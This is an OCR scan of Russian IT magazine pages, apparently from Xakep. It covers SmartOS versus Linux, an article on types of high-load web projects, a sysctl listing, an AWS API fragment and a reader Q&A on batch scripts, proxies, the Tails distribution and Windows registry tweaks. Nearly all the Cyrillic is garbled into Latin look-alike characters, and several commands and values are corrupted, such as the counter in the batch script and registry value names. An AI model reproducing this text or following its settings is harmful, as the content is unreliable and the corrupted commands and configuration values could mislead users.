uname 
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read a disk label 
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partition a disk 


parted (if you nave it) 

CfdJSk 

UU 
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/etc/iao cdnf or /hoot/rjn*vnwiu isi) 


AMMlMnunta 
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kamatrunhE 

kwnvt nxxJulus <*v Mi kwnwl ubckwiurl and /ptatfurrii/'urianw -rii'/kernel 


Kernel module filial nut visible within a /ono 



OparMeHTTa6jinu,bi cootbgtctbhui KOMaHfl Linux m SmartOS 



BblBOAbl 

y>Ke b TeneHHe roAa Mbi ncnojib3yeivi SmartOS b KanecTBe ochobn nHcfjpacTpyKTypbi, 
Ha kotopom Mbi pa3MeLAaeM KOMMepnecKMe npoeKTbi. MoxeM OTMeTMTb, hto no cpaBHe- 



hmk) co CTaHAapTHbiMM Linux-cwcTeMaMM peiueHMfi Ha SmartOS yAaeTca AenaTb 6o/iee 

npOH3BOAMTe/lbHblMM H yCTOMHMBbIMM . 

Kohghho, ecTb m MMHycbi. 5a3a coBMGCTMMoro xejie3a y SmartOS HaMHoro MeHbwe, 
hgm y Linux. lloaTOiviy HyxHO TinaTe/ibHO OTHOCMTbCfl k Bbi6opy annapaTHbix n/iaTct)opM. 
Kpc-Me Toro, HyxHO 6biTb roTOBbiM k TOiviy, hto HeKOTOpbix HyxHbix m npMBbNHbix Te6e 
naKeTOB noA SmartOS mo>kgt He OKasaTbca — HecMOTpa Ha ueneHanpaB/ieHHyio pa6oTy 
Joyent no naKeTupoBaHi/iio caivioro pacnpocTpaHeHHoro cocjrra m Ha/ii/iHMK) 6onee 10 TbicflH 
naKeTOB b peno3MTopnn. Bee HeAOCTafouu,ee npnAeica KOMnmiwpoBaTb v\ caMOCTOHTe/ib- 
ho noAAepxuBaTb, hto MOxeT BbipacTM b OTAe/ibHbiM reivioppoM. TeM He MeHee naKeTOB 
b peno3MTOpMM CTaHOBMTCJi Bee So/ibiue, a cneKTp noAAepxMBaeMoro o6opyAOBaHna — 
Bee iiinpe. HC 




SYN/ACK 




B noc/ieflHi/ie napy nej b «6o/ibUJOM I/1T» CTa/i oneHb no- 
nyji^ipHbiM tgpmi/ih «xai/uioafl». Bojibi_ui/iMM Harpy3KaMM 
/ikdS^t nyraTb Ha co6eceAOBaHi/mx i/i Mep^Tbc^ Ha pa3- 
jiMHHoro poAa npocJ)[/i/ibHbix v\ He oneHb KOHC^epeHui/i^x. 
Bee xot^t pa6oTaTb c xaM/ioaflOM, ho hmkto He 3HaeT, 
hto xe 3to Tarae Ha caMOM fle/ie. OSbNHO roBop^T o 
HMcne 3anpocoB b ceKyHfly. Ho hto Kpyne — 1000 rps 
Ha CTaTMHecKi/ie AaHHbie v\nv\ 10 rps Ha ci/icieiviy, KOTopaa 
3aHMMaeTC^ pacno3HaBaHi/ieM jii/iu,? 

BBEAEHME 

Mbi b CBoePi pa6oTe CTa/iKHBaeMca c oneHb pa3HbiMM npoeKTaMM. Mho rue M3 hmx b tom 
m/im i/iHOM acneKTe moxho 6bmo 6bi Ha3BaTb npoeKTaMM BbicoKOM Harpy3Kn. Ecjih Ha flo- 
cyre c/ierKa nocerpernpoBaTb h OT6pocnTb o6bifleHHbie Bemn Tuna MHTepHeT-Mara3MHOB 
cpeAHGM pyKM, a ocTaBiueecfl rpy6o crpynnnpoBaTb, to MoxeT no/iyHMTbca npi/iMepHaa 
K/iaccuctJUKaumq. B Hee bolu/im neTbipe Ti/ina xafi/ioaAa: 
no KO/iMHGCTBy 3anpocoB (6aHHepHbie ceTM); 

• no Tpacf)MKy (BMAeocepBMCbi); 

no nornKe (cnoxHbie BbiHi/icneHMH Ha 63KeHAe); 

• CMGiuaHHbiM (Bee, hto nona.no cpa3y b HecKO/ibKO KaTeropwM). 
Mx Mbi m paccMOTpMM 6o/iee noAPo6HO. 

KOJ1MHECTBO 3AnPOCOB 

B nepByto onepeAb sto, kohohho xe, 6aHa/ibHbie rps'bi. ^pnaMLUMM npwviep ci/iCTeM, opi/i- 
eHTi/ipoBaHHbix Ha 6o/ibLuoe KO/iMnecTBO He6onbiui/ix 3anpocoB, — peicnaMHbie 6aHHep- 
Hbie ceTM. B npocTeMnieivi Bapnam"e 6aHHepHaa ceTb — sto Be6-cepBep, 6a3a AaHHbix 
i/i HecKO/ibKO CKpunTOB, 3aHMMaKDLu,Mxcfi OTAanei/i npaBUjibHbix AaHHbix M3 6a3bi npaBi/i/ib- 
HbiM K/ineHTaivi no pa3/iMHHbiM KpMTepMFiM (Tun ycTpoPiCTBa, c KOTOporo npMLue^ 3anpoc, 
reorpacJ)HHecKoe nonoxeHi/ie K/iweHTa, Bpeivm cyTOK m TaK Aanee). B 6onee cnoxHbix cm- 
CTeiviax ynacTByeT cpa3y HecKO/ibKO cepBepoB «nepeAHero nnaHa» (frontend), Harpy3- 
Ka Ha KOTOpbie 6ajiaHCMpyeTCfl, k npMMepy, Ha ypOBHe DNS-3anpocoB. 3a cepBepaivin 
nepeAHero nnaHa MoryT HaxoAHTbca jii/160 npocTO co6cTBeHHbie cepBepbi 6a3 AaHHbix, 
jii/i6o HecKO/ibKO CTopoHHux 6aHHepHbix ceTePi-napTHepoB, KOTopbie Toxe MoryT npeAO- 
CTaB/i^Tb peK/iaiviy A-n^ Bawi/ix no.nb30BaTe.neM (TpacJwKa). 

Y3Kne MecTa npi/i ncnojib30BaHnn MCK/iiOHi/iTenbHO co6ctb6hhom He3aBMCMMOM apxi/i- 
Teicrypbi: 

1. npou,eccopHbie molahoctm. PewaeTca npaBH/ibHoPi HacTpowKOM Be6-cepBepa, onTM- 
MM3au,neM KOAa reHepauHM 6aHHepoB. B kpmtmhhom CMTyauuM — paciunpeHi/ieM ko- 
jiMHecTBa cepBepoB OTAann. 

2. npaBmibHaa HacTpoMKa ceTeBOM noACHCTeMbi. Ecjim 3axoneTCfl AepxaTb 10-15 TbicaH 
rps Ha cepBep m HTo6bi npou, He 3aAOXHyjicfl ot sys, npnAeTca noKonaTbca b sysctl'e 



M HaCTpOMTb CGTGByKD nOflCMCTeMy AO/lXHbIM o6pa30M. 

TaKxe MoryT 6biTb y3Kne MecTa npn Mcno/ib30BaHHM napTHepcKi/ix cejei/\. 3aBncnT, KOHen- 
ho, ot KOHKpeTHbix napTHepOB, ho b ue/iOM, ecnw pa6oTaeiub He oahh, BcerAa B03HMKaK)T 
KaKwe-TO Aono^HMTe^bHbie npo6/ieMbi. npocaAKM b ce™, cjimlukom MeA/ieHHbie CKpunTbi 
reHepau,MM 6aHHepoB, c/ia6bie cepBepbi napTHepOB. Bee 3to npuBOAUT k topmoshluum 
m npoBucaKDLUMM 3anpocaM, noBbimeHHK) Harpy3Kn Ha co6cTBeHHbie cepBepbi. BbixoAOB 

H3 CMTyaU,MM He OHeHb MHOrO. ECJIH 3T0 nO/lMTMHeCKH B03MO>KHO, to moxho KeillMpOBaTb 

6aHHepbi y ce6a. Ecjim cucTeivia cjimlukom nacTO h 6biCTpo MeHfleTCfl, to KeiunpoBaTb Hune- 
ro yxe He no/iyHkiTca, ocTaeTCH TO/ibKO KaK-TO AoroBapuBaTbca c napTHepaMM. 

JlerKuPi THDHMHT 
AApa 



[root@ads_large ~]# cat /etc/sysctl . conf Igrep -vE ' A ($l\#)' 
net.ipv4.ip_forward = 0 
net. ipv4. conf .default. rp_filter = 1 
net . core . rmem_max = 16777216 
net. core. rmem_default = 16777216 
net. core. netdev_max_backlog = 262144 
net. core. somaxconn = 262144 
net.ipv4.tcp_fin_timeout ■ 1 
net. ipv4.tcp_tw_ recycle = 1 
net. ipv4. conf .default. accept_source_route = 0 
kernel. sysrq ■ 0 
kernel. core_uses_pid = 1 
net.ipv4.tcp_syncookies = 1 
kernel. msgmnb = 65536 
kernel. msgmax = 65536 
kernel. shmmax = 68719476736 
kernel. shmall = 4294967296 
vm.swappiness = 0 
net . ipv4 . tcp_tw_reuse=l 
net . ipv4 . tcp_f in_timeout=l 
net.ipv4.tcp_tw_recycle=l 
[root@ads_large ~]# | 



TPAOMK 

B cneAyKDLuyKD KaTeropi/uo mokho OTHecTi/i npoeKTbi c 6onbLuofi Harpy3KOM He CTO/ib- 
ko Ha KO/iMHecTBO 3anpocoB, CKonbKO Ha o6"beM A^HHbix, 3anpaiuMBaeMbiM no KaxAOMy 
i/i3 3anpocoB. Han6onee oneBHAHbiM npwviepoM TaKoro poAa npoeKTOB flBjiflKTrca pa3nnH- 
Hbie BMAeocepBMCbi. KojinnecTBO npecnoByTbix rps'oB 3Aecb Toxe wrpaeT ponb, ho yxe 
He b TaKOM hhctom bmag, KaK b cnynae c peicnaMHbiMn ceTflMM. nhaBHaa npo6neMa TaKi/ix 

npoeKTOB B TOM, HTO KaXAbIM KJll/ieHT 3anpaLLMBaeT AOCTaTOHHO 60JlbLUOM o6b.eM AaHHblX. 

A 3to C03A3eT Harpy3Ky m Ha ceTeBbie KaHa/ibi, m Ha AncKOByio noACMCTeiviy c^afi/iOBbix 

XpaHM/lMLLI,. 

EcTecTBeHHO, npn CKO/ibKO-Hn6yAb 6onbiuoM Harpy3Ke (a 6-8 M6mt Ha K/ineHTa 
npn npocMOTpe BMAeo b 720p — sto Bcero -130-150 ne/iOBeK Ha rnra6nTHbiM KaHa/i) 
06 oahom cepBepe v\ peni/i He hast. OGnhho b t3khx cnynaflx sto HecKonbKO rpynn cep- 
BepoB, pacnpeAe/ieHHbix reorpacJ)HHecKM A-na AUBepcm^L/iKam/M pmckob OTKa3a. AanHbie 

RH\/Tni/i k'a^nni/i rnvnnw r:MHYnnni/i.9i/in\/mTr.fl nn kr»nKii\/ Tak - 1/1 MP^nv rvn/iMM rn\/n- 



naMM. JXnn cnHxpoHM3au,MM Mbi o6bHHO ncnonb3yeM Isyncd/rsync. 3anpocbi k BMflGOxpa- 
HM/ininaM TaKxe 6ajiaHcwpyiOTCfl Ha ypoBHe DNS. Ilpn BbixoAe H3 cipoa OAHoro v\nv\ He- 

CKO/lbKMX CepBepOB npOCTO BblK^fOHaeM HX \A3 DNS V\ M3 KOJlbU,a CMHXpOHH3ai4MM. 

Y3Kne MecTa: 

1 . llponycKHafl cnoco6HOCTb ceTM. ripn noBbiiueHMM Harpy3Kn Ha T^xe/ibix Tpacf>i/iKOBbix 
cepBMcax b nepByto onepeAb, kohghho, HannHaeT He XBaTaTb LunpnHbi KaHana ao cep- 
Bepa. KapTOHKa Ha 100 M6mt 3aivieHfleTCfl Ha n/ira6nTHyio. IIotom AoSaB/iaeTCfl euue 
OAHa. 3aMopoHKn c arpernpoBaHneivi KaHa/iOB. Ho b u,e/iOM npoG/ieivia Bnorme pewa- 
eivia. 

2. npon3BOAHTe/ibHOCTb auckob. Aaxe npw normon Harpy3Ke rnra6nTHoro KaHana npo- 
M3BOAHTenbHOCTM HopMa/ibHbix SATA-auckob ao/ixho xBaiaTb. Ecjim xe math Ha 6o- 
jiee cepbe3Hoe noBbiweHi/ie ckopoctm AOCTyna k cepBepy, to TorAa ctomt 3aAyMaTbcn 
o noKynKe SAS-auckob Ha 10k o6opotob m CK/iaAbiBaHnn hx b 10-m pePiA- 

3. Tpac()HK. Ectgctbghho, ecnM Tbi co6npaeLUbCfl AepxaTb Tpacf>nKOBbM npoeKT, to cto- 
mt Bbi6npaTb xocTepa, KOTOpbiw Han6onee jioa/ibHO othocmtch k 6onbiuMM o6"beiviaM 
AaHHbix, nepeAaBaeMbixTBOMMM cepBepaMH. 




AOrMKA 

BoTTyTyxe HaHHHaeTca Koe-HTO nonHTepecHee. 1/1 KaK hh CTpaHHO, b KanecTBe npi/iMe- 
pa a^hhom KaTeropnn n 6yAy npi/iBOAHTb MHTepHeT-Mara3MH. npGAnono>KMM, y Hac ecTb 
MHTepHeT-Mara3MH a/iKoro/m Ha, k npi/iMepy, 30 TbicflH no3nu,MM. fleiiCTBHTe/ibHO mhoto 
a/iKororm — pa3Hbix toaob npon3BOACTBa, pa3Hbix MapOK, H3 pa3Hbix pen/iOHOB Mi/ipa, 
no pa3/iMHHOM u,eHe. KaK i/iCKaTb no t3kom 6a3e KOHKperHbie seinyi? 

Moxho, KOHenHO, cocTaBMTb 3anpoc Ha no/iTopa AecsrrKa ycnoBMM. Ho v\ Bbinon- 
H^TbCfl oh 6yAOT Ha cpeAneM xene3e 3a He oneHb npneM/ieivioe Bpeivm. M xopoiuo, 



eonn oho 6yfleT n3MepflTbCfl AecflTKaiviH cgkyha, a He Mi/iHyTaMH. Hto b TaKOM cnynae 
Ae/iaTb? Moxho 3aBecTi/i napK cepBepoB, pa3Ae/inTb AaHHbie jion/iHecKw no pa3HbiM 
6asaM, A-n^ KaxAOM CAe/iaTb LuapAnnr. Ho hto AO/iaTb, ecnn He xoneTCH BbiK/iaAbiBaTb 
KpymeHbKyjo cyMMy 3a napK cepBepoB? Moxho Bonpoc pewi/rrb MHTepecHee. Co6npa- 
eM Bee AaHHbie b OAHy 6ojibLuyio BpeivieHHyK) Ta6.ni/my: 

ID a/iKora/ifl_| buho | ujawnaHCKoe | bmckh [ | ueina ^"Ll000 ao 2000 | 

MeHa ot 2000 ao 3000 | ... | CTpaHa (DpaHuna j cTpaHa repNiam-ifl h TaK p,anee 

B o6LueM, hto-to okojio AByx aocfitkob napaivieTpoB. KaxAbifi napaMeTp Arm jik)6o- 
ro TOBapa paBeH nn6o 0, jim6o 1. B i/n~ore no/iynaeM MacKy M3 ABaAUaTM 6i/it (Hanpwviep, 
00000110000010000011), yKa3biBaK)LU,yio Ha KOHKpeTHbiM TOBap. M bot yxe stm MacKi/i ot- 
Ae/ibHbiM cepBMCOM co6npaK)TCfi b OTAejibHyio Ta6/iMLi I y. KorAa npnxoAHT K/ineHT i/i Ha cafi- 
Te 3aAaeT napaMeipbi noi/icKa TOBapa, to Ha BbixoAe no/iynaeTCfl tohho Taicafl xe MacKa. 
M yxe OHa OTnpaBJiaeTCfl cepBHcy-arperaiopy h TaM no6nTOBO cpaBHMBaeTca co BceMM 
MMeiOLAMMMCfi AaHHbiMM. HaPiAeHHbie pe3y^bTaTbi BbiAaiOTCfl nonb30BaTejiio. TaKOM noAxoA 
no3BO/iaeT cymecTBeHHO coKpaTMTb 3aTpaTbi Ha cepBepHyio MHcfjpacTpyKTypy npoeicra. 

Y3KMM MecTOM b AaHHOM onywae 6yAeT nepeMHAeKcau.ua AaHHbix. Ha oneHb 6o/ib- 
lui/ix oSbeiviax AaHHbix stot npouecc MOxeT 3aHHMaTb npoAO/ixHTe/ibHoe Bpeivm, 
npi/i 3tom co3AaBaa ao CTaTO h h y to Aono/iHi/iTe/ibHyK) Harpy3Ky. Moxho peiunTb npo- 
6/ieMy BbiAe/ieHneM OTAe/ibHoro He6o/ibiuoro cepBepa, Ha KOTOpbiPi 6bi penjii/iu,i/ipo- 
Banacb 6a3a AaHHbix nnn nepMOAHHecKOM nepenHAeKcau,ni/i 6e3 bhh^hhs! Ha cepBep 
b npoAaKineHe. 



CxeMa pa6oTbi cepBMca 
«reHepai4nn p,ejev\» 
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CMEWAHHblM XAMJ10AH 



HanoaneAOK ctomt OTMeTMTb npoeKTbi, KOTopbie cjiokho othgctm b KaKyio-TO OAHy koh- 
KpeTHyho KaTeropMio. HacTO 6biBaeT TaK, hto m Ha 63KeHAe BbiHHoneHi/m nponcxoAflT 
He carvibie npodbie, m 3anpocoB MHoro, n Harpy3Ka He BcerAa paBHOMepHaa. K npnivie- 
py, ecrb y Hac Ha noAAepxKe oahh counajibHO-nonyjiflpHbrn pa3BJieKaTejibHbM npoeKT. 
CyTb npoeKTa 3aK/irOHaeTCfl b tom, hto nojib30BaTejib 3arpyxaeT ABe (t>OTorpact>ni/i — 
MyxcKyio h xeHCKyio, a cepBHC Ha ocHOBe nojiyneHHbix AaHHbix reHepwpyeT cf>OTorpa- 
(J)MrO noTeHu,na^bHoro pe6eHKa 3tmx «poAHTe/ieM». Xoneiub y3HaTb, KaKaa HyAecHaa 
AonypKa no/iynmiacb 6bi y je6n c flxePi Jlo, — Te6e CKDAa :). 

OcHOBHbie xapaKTepMCTMKM cepBkica — oh AOCTaTOHHO nony^qpHbiM, mo>kho CKa- 
3aTb «BnpycHbiM», noKa3biBaeT M3p«AHoe KOJinnecTBO rps. Ho npn stom noA KanoTOM 
HaxoAHTca He npocro OTAana 6aHHepOB H3 6a3bi , a xmbom aHa/in3 jihu, v\ reHepau.ua 
H3 hmx HOBoro, «ycpeAHeHHoro», no coBOKynHbiM AaHHbix o6onx «poAHTejiePi». Bwpyc- 
HbM xapaKTep cepBuca TaK>Ke Ao6aB/ifleT em,e Koe-KaKOM cneu,nct>nKi/i: Harpy3Ka Ha ci/i- 
CTeMy HepaBHOMepHa, pery/iapHO CKaneT (OAHaxAbi caMTOM BOcno.nb30Ba.nacb OAHa 
nony/iapHaa 6pa3mibCKafl MOAe/ib h Hannca/ia 06 stom b CBoeM 6/iore — Mbi onoBUJii/i 
6pa3nn/inoH HOBoro HapoAa, m3P^aho nonoTejiw v\ MMeHHO TorAa npwAyMa.ni/i HOByio, 
TeKyi±j,yio cxeiviy pa6oTbi). 

CTpyKTypa npoeKTa BbirrmAUT TaK: cepBep nepeAHero n/iaHa c Be6-HacTbK), cep- 
Bep c 6a30M AaHHbix, OTAe/ibHoe xpaHminiu,e A-na 3arpyxeHHbix h creHepwpoBaHHbix 
ct)OTorpac{)MM, cepBMC onepeAePi n nynoK cepBepoB-o6pa6oTHMKOB. nojib30BaTe/ib 
3arpy>KaeT ct>OTorpa<t>m/i Ha xpaHkij"inm,e, CKpunTbi OTnpaB/iaioT 3anpoc Ha «reHepa- 
u,MrO pe6eHKa» k cepBucy onepeAeii. CepBHC OHepeAew cmotpmt, HacKO/ibKO cu/ibHO 
3arpyxeHa onepeAb reHepau,nn. Ecjim ee noHTH HeT, to HOBaa 3aAana npocTO Ao6aB- 
jiaeTCfl b onepeAb. Ecjim xe Harpy3Ka Bbiiue onpeAe/ieHHoro npeAe/ia m o6pa6oTKa 
33A3H HanMHaeT TopM03MTb, to 3tot cepBMC npocTO MAeT m... noKynaeT em,e oahh 
MHCTaHC A-n^ reHepau,MM cJ)oto :). KorAa Harpy3Ka naAaeT, tot xe cepBMC npocTO yAa- 
jiqeT jinuiHue MHCTaHCbi, HTo6bi He TpaTi/iTb jinwHi/ie AeHbri-i 3a npocTOM HeHyxHbix 
pecypcoB. TaKMM o6pa30M pewaeTCfl npo6/ieivia BHe3anHOM noceiu,aeMOCTi/i m nepe- 
pacxoAa 6K)A>KeTa. 

Y3Koe MecTO 3Aecb — sto cepBMC onepeAeM. llepeA 3anycKOM b npoAaKLueH ruo- 
6yio c/ioxHyK) CMCTerviy, pa6oTarom,yK) c cf>nHaHcaMM, HyxHO TmaTe/ibHePiLjjMM o6pa30M 
npoBep^Tb. A nocne 3anycKa — MOHHTopnTb Bee ocHOBHbie noKa3aTe/in. y Hac oh oa- 
Ha>KAbi o6e3yivie.n (6bi/i KaKOM-TO iviiok c API) v\ Hana/i 3aKa3biBaTb HOBbie cepBepbi-06- 
pa6oTHMKM 6e30CTaHOBOHHO. K CHacTbK), ycne/in 6biCTpo 3aMeTMTb m npecenb :). 
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Startlnstances 

Description 

Starts an Amazon EBS backed AMI that you've previously stopped. 

Instances tnat use Amazon EBS volumes as tneir root Devices can De quickly stopped ana started. When an instance is stopped, the compute resources are 
released ana you are not Wiled Tor nouny instance usage. However, your root partition Amazon tBS volume remains, continues to persist your data, and you are 
charged for Amazon EBS volume usage. You can restart your instance at any time. Each time you transition an instance from stopped to started, Amazon EC2 
fhnrgps a full instance hour, even if transitions hnpppn mtiltiplp fimps within n single hour 

Bcrorc stopping an instance, make sure it is in a state from which it can De restarted. Stopping an instance docs not preserve data stored in kam. 
Perfufiniiifj Lhis uptrdUon un an inflame Lhdl uses on Instance slu-ry as Its tout dvvkx rvlurns <an error. 
Tor more information, see Stopping Instances in the Amazon Elastic Compute Cloud User Guide. 

Request Parameters 

Ir.stanceld.n 

One or more instnnre IDs. 







Type: String 
Default: None 
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Rpquirpd: Yps 
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■ ConcelC*DortTosk 








Response Elements 


■ ConcelReservedlnstoncesList 










inc roiiowing elements arc rctumcfl in a st«rtinat«nceoHeapona« element, 


• ConcelSootlnstonceReauests 




• ConfirmProductInstor>ce 




request Id 

The ID of the request. 


" Copylmooe 




Type: xsd:stnnq 


■ CopySnapshot 




luaLalli-ifsSel 


• CrcotcCustomcrCotcwoy 
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A list of Instance state chanqes. Each change is wrapped in an i ■ - n. element. 

Type: Itivloi'itfStottfChaMmjTvw »j 



Amazon WebServices API 

3AKJ1IOHEHME 

KaK moxho 3aMGTMTb, xafinoaA — 3to He BcerAa Kyna cepBepoB 1/1 MHn/iHOHbi oaho- 
BpervieHHbix noAK/iKDHem/iM. XafijioaA — sto eu\e 1/1 yrvieHMe o6y3AaTb 6ojibLune Harpy3- 
km, onTMMM3MpOBaTb noTpe6/ieHne pecypcoB v\ yAepxaTb cepBepHyK) MHcJ)pacTpyKTy- 
py ot HeonpaBAaHHoro pa3pacTaHnq. TaK hto, %username%, ec/in y Te6fl Ha cepBepe 
Bcero 10 rps, ho npn stom ohm Ae/iaiOT hto-to 6ojibiuee, nervi OTAana KapTMHOK v\nv\ 
4>opyMHbix CTpaHMHGK, to 3to yxe Koe-HTO cepbe3Hoe :). Ecnw y Te6a noHBi/iTCH xena- 
Hwe paccKa3aTb o eiMe KaKkix-TO npoeKTax, KOTopbie MHTepecHO noAxoA^T k Bonpocy 
BbicoKMx Harpy30K, He CTecHflPicfl, nMLUM Ha Mbi/io dchumak@itsumma.ru . YcnexoB! ZK1 




A/ieKceM Zemond 

llSHKpaTOB 

3em0nd@gmail.com 




ECTb BOnPOCbl — nPMCbmAM 

hafaq@real.xakep.ru 



nOflBMJiaCb Heo6xOAHMOCTb Ha6pOCaTb 6aTHMK f\T\K aBTOMaTM3MpOBaHHOM 

hmctkh cTapbix cf>aM/iOB. C yAa/ieHMeM hhk3kiix npo6iieM , ho bot Kaic nepes 6aT- 
CKpnnT mokho y3HaTb kojihhgctbo cJjaM/iOB b AMpeKTopnn? 

A-na 3Toro Te6e hvxho Ao6aBMTb b cbom 63thhk cnef\y\o\i\v\e KOMaHAbi: 
@Echo Off 

Set Cnt=9 

For %%1 In (*) Do Set /A Cnt += 1 

Echo % Cnt% 

KaK BMAMLUb, 3A©Cb BCe AOBOJlbHO npOCTO M SJieraHTHO. AyMaK), BOnpOCOB no CMHTaKCMCy 
B03HHKHVTb He AO/1XHO. 

Hy>KHO nycTMTb TpaqbwK no/ib30BaTe/isi nepe3 npoKcu. Pas/inn Hbie 6pay3epHbie 
n/iariiHbi He KaTsiT, TaK KaK no.nb30BaTe.nb AaneK ot KOMnbKrrepoB. M nocTOfiHHO 
3a6bieaeT BK/noniiTb nnaruH. C/ibiuia/i, hto y jwhvkc moxho HacTpouTb cmctcmhuii 
npoKcu, KaK 6bi 3to CAGJiaTb? Ax as j ctomt Ubuntu. 

□ As. Tbi coBepiueHHO npaB. Ecjim nponi/icaTb HacTpowKM b cmctgmhom npoKcu, 6o/ib- 
Lue HMKaKnx TejiOABuxeHMM c njiarnHaMM He noTpe6yeTca. A-n^ stord hvxho OTpe- 
AaKTupoBaTb 4>aPI/i environment. Oh jiexi/iT no aApecy 

sudo nano /etc/environment 

nponMCbiBaeM b HeM cneAyoiA^o ctpokm: 

http_proxy=http : //myproxy . server . com : 8080/ 
https _pro xy=http : //my pr oxy . server . com : 8080 / 
f tp_proxy=http : //myproxy . server . com : 8Q8Q/ 

no_proxy="localhost, 127.0.0.1, localaddress, . localdomain . com" 
HTTP_PROXY=http : //myproxy . server . com : 8080/ 
HTTPS_PROXY=http : //myproxy . server . com : 8080/ 
FTP_ PROXY=http : //myproxy . server . com : 8080/ 

NQ_P ROXY="loc alh ost J 1 27.0.0.1 J loca laddre ss J .loca ldomain.c om" 

3Aecb Bee npocTo: VKa3biBaeM npoTOKO/i h k3kom npoKcu ncno/ib3yeM, to ecTb A-na HTTP 
ncnojib3yeTca npoKcu http://myproxy.server.com c nopTOB 8080. A-na ocTa/ibHbix no aHa- 
nornn. B AByx BapwaHTax (c KancoM i/i 6e3) yKa3aH0 He npocTo TaK — 6biBaK)T tjiiokh. TaK 
hto yAa/i^Tb He peKOMeHAyio. noc/ie coxpaHeHHH cj)awia Becb TpacjwK 6yAeT math ne- 
pe3 cucTeMHbiM npoKcu. KcTaTM, nojib30BaTe^b 06 stom MoxeT A3>Ke He AoraAbiBaTbca, 

HTO HBJlfleTCfl 60JlbLLMM n/IIOCOM. 

y MeHfi hgt jiMHHoro KOMnbKrrepa , u npuxoAMTCsi nocTonHHO pa6oTaTb Ha ny- 
>khx — b MHCTMTyTe, o6iAare mjim Ha KOMne SHaxoMbix. Bee AaHHbie TacKaio 
Ha cfxneLUKe, ho noHMMato, hto sto coBepuieHHO He ceKbiopHO. f\a m He oneHb npusrr- 
ho ocTasjinTb noc/ie ce6si Kynu Mera6atiT jimhhoto TpacbuKa. l~loACKa>Ku k3koPi-hm- 







6yAb AncTpn6yTMB Arm aHOHMMHOCTii b cgtm, HTo6bi ero 6bmo vao6ho TacKaTb c co- 
6011 11 HTo6bi He 6bmo HHKaKiix c/ieAOB Ha hv>khx KOMnbiOTepax. 

riopeKOMeHAyK) ahctpi/i6vthb tails ( tails.boum.org ). OAHa H3 ero cfjuujeK — kohc})m- 
rypau,wfl CHCTeMbi Tails He Tpe6yeT ncno^b30BaHM^ xecTKoro aucio KOMnbKjrepa 
m o6nacTM noAKanKM. EEAUHCTBeHHaa o6/iacTb, ncnojib3yeMafl CMCTeMOM Tails, — sto one- 
paTMBHaa naMATb RAM, KOTopaa aBTOMaTunecKM oni/iLAaeTCfl npi/i BbiK/iiOHeHni/i KOMnbKD- 
Tepa. TaKxe b AncTpe Tbi HaMAenib: 

• Tor (KyAa xe 6e3 Hero) m, KOHenHO xe, rpacJ)MHecKMM nHTepcJ)eMC Vidalia A-na noncKa 

b ceTM, a TaioKe ero KOMnoHeHT Torbutton A-na 3aiAHTbi ot BpeAOHOCHbix koaob JavaScript; 
I2P (Aeu,eHTpa.TM30BaHHafl n AHHaMUHHa^ ceTb, no3BarmioiAafl npou3BOAHTb noncK m 06- 
LAaTbCfl c o6ecneMeHneM 6e3onacHOCTM n no/iHOM aHOHHMHOCTM); 
HTTPS Everywhere, pacuiHpeHne, KOTopoe ycunnBaeT 6pay3ep A-na AOCTyna k Han6onee 
M3BecTHbiM Be6-caMTaM TonbKO c noMOLAbfo npOTOKona HTTPS (o6ecneHMBa«, t3kmm 06- 
pa30M, 6e3onacHOCTb b pe3ynbraTe koahpobkm); 

• MOAy/ib Pidgin, CKOHcJwrypupoBaHHbM npeABapme/ibHO c MOAy-neivi OTR (Off-the- 
Record); 

• GnuPG, CBo6oAHaa Bepcua PGP, Hau6anee pacnpocTpaHeHHaa nporpaMMa, 0T/in4aK)LAa- 
9\cn TeM, hto o6ecneHMBaeT KOAnpoBKy email v\ tyawnoB, no3BormeTTaK>Ke «noAnncbiBaTb» 
3/ieKTpoHHbie coo6LAeHna n, c^eAOBaie/ibHO, ayTeHTMcJ)i/m>ipoBaTb, t3khm o6pa30M npe- 
AOTBpaLAa^ BCfiKoe He3aKOHHoe npucBoeHne nyxoro nMeHu; 

• TrueCrypt, o kotopom He anbiLuaji TO/ibKO coBceM jieHUBbiw; 
PWGen, reHepaTop HaAexHbix naponePi; 

Florence, Bi/ipTya/ibHyio KnaBi/iaTypy, no3BormiOLAyio BBOAHTb cbom naponw, KnuKafl 
Ha flnetkax MbinibK) (hjih Ha>KHMan Ha ceHCOpHyio naHenb); 

• MAT a/ih o6ecneHeHi/m aHOHHMHOCTM MeTaAaHHbix, coAepxami/ixcfl b cj)aiijiax (AaTbi co3- 
AaHMA m MOAHcjDMKaunn, KoopAnnaiGPS, nnHHbix AaHHbix no/ib30BaTe/ifi KOMnbKDTepa nnn 

C|)OTOKaMepbl). 

OcTa/icq y MeHn Ha pa6oTe CTapunoK, buh2003. M ece 6bi Hunero, ho Ha Hero 
cbirmTcs? 6oKanbi c 60/iee MOujHbix cepeepoe. HacTeHbKO 4>aM/ib>i uis/ieiOT pas- 
Mep CBbiLue 150 mroB. A c 3roro cepeepa ohm ei_ue 11 nepeMematOTcq Ha b h e lu h u g 
HOCMTe/in. npii KonuposaHMii CTOJib 60/ibLUMX 4>aPijiOB nocTosiHHO nons/ineTcn coo6- 
u|6hhg 06 oiun6Ke: Insufficient system resources exist to complete the requested 
service. npwneM r/ioxceT nonsiiTbcsi, a MOxceT 11 HeT. 06 stom y3Haio TO/ibKO b pauoHe 
90-95% cKonnpoBaHHoro <pav\na. OneHb pa3ApaxcaeT. Kax c otom 6aroM 6opoTbcn? 
A-nfl 3Toro hvxho 3arnflHyTb noA KanoT CMCTeMbi, to ecTb b peecTp. OTKpbiBaeM 
regedit v\ b HeM HasnHaeM MeHHTb 3anncw. CHana/ia 3axoAHM b 

HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager \Memory *-> 
Management 

3Aecb Hy>KHO co3AaTb 3anncb c MMeHeM 

PoolUsageMaximum, Tun: REG_DW0RD, 3HaMeHne: 60 b AecfiTMHHOM cucTeMe MCHnc/ieHUfi 






3aTeM co3AaeM 3anncb c MMeHeM: 



paged pooibize, Tun: KtbjJWUKU, 3HaMeHne: wxhhhhi-1-1-1- b wecTHaAUaTepiiHHOM 

CMCTeMe HCHMC/ieHMfl 



Tenepb magm b 

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Servi^s\LanmanServer\Param 
n co3AaeM TaM 3anncb c MMeHeivi: 

IRPStackSize, Tun: REG_DWORD J 3HaHeHne: 50 b flecflTMMHoft cucTeime HCMHCJieHHS 

riocne 3Toro nepesarpyxaeivicfl, m moxho cnoKOMHO BoponaTb Tepa6aMTaMM. 

